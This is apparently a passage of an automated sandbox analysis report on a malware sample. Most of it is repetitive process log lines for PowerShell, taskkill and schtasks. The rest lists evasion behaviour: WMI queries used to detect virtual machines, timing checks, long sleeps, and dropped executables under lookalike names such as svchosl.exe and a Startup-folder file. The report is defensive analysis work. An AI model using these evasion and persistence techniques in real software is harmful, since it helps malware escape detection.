Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\takeown.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\takeown.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\takeown.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\takeown.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 44A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 4880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 6880000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe

Code function: 16_2_00007FF8A87C324C rdtsc

16_2_00007FF8A87C324C

Source: C:\Users\user\Desktop\file.exe

0_2_004019F0

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: OpenServiceW,GetServiceDisplayNameW,GetServiceKeyNameW,GetLastError,GetLastError,EnumServicesStatusExW,GetLastError,GetProcessHeap,HeapAlloc,EnumServicesStatusExW,GetLastError,GetProcessHeap,HeapFree,GetLastError,_snwprintf_s,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,		6_2_000000014000EE50
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: EnumServicesStatusExW,GetLastError,GetLastError,GetProcessHeap,HeapAlloc,EnumServicesStatusExW,GetLastError,_snwprintf_s,GetProcessHeap,HeapFree,GetLastError,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,		6_2_0000000140011A80

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7682
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2034
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8138
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1506
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1252
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 474
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8564
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1173
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6441
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3307

Source: C:\Users\mig.exe	Dropped PE file which has not been started: C:\ProgramData\migrate.exe	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\_ctypes.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\python38.dll	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\_socket.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	Jump to dropped file
Source: C:\Users\mig.exe	Dropped PE file which has not been started: C:\ProgramData\1.exe	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\unicodedata.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\_ssl.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\_lzma.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\_hashlib.pyd	Jump to dropped file
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI65122\select.pyd	Jump to dropped file

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	API coverage: 4.6 %
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	API coverage: 2.2 %

Source: C:\Users\user\Desktop\file.exe TID: 2716	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4400	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3936	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6828	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2616	Thread sleep count: 8564 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2616	Thread sleep count: 1173 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1380	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7160	Thread sleep count: 6441 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2324	Thread sleep count: 3307 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2352	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
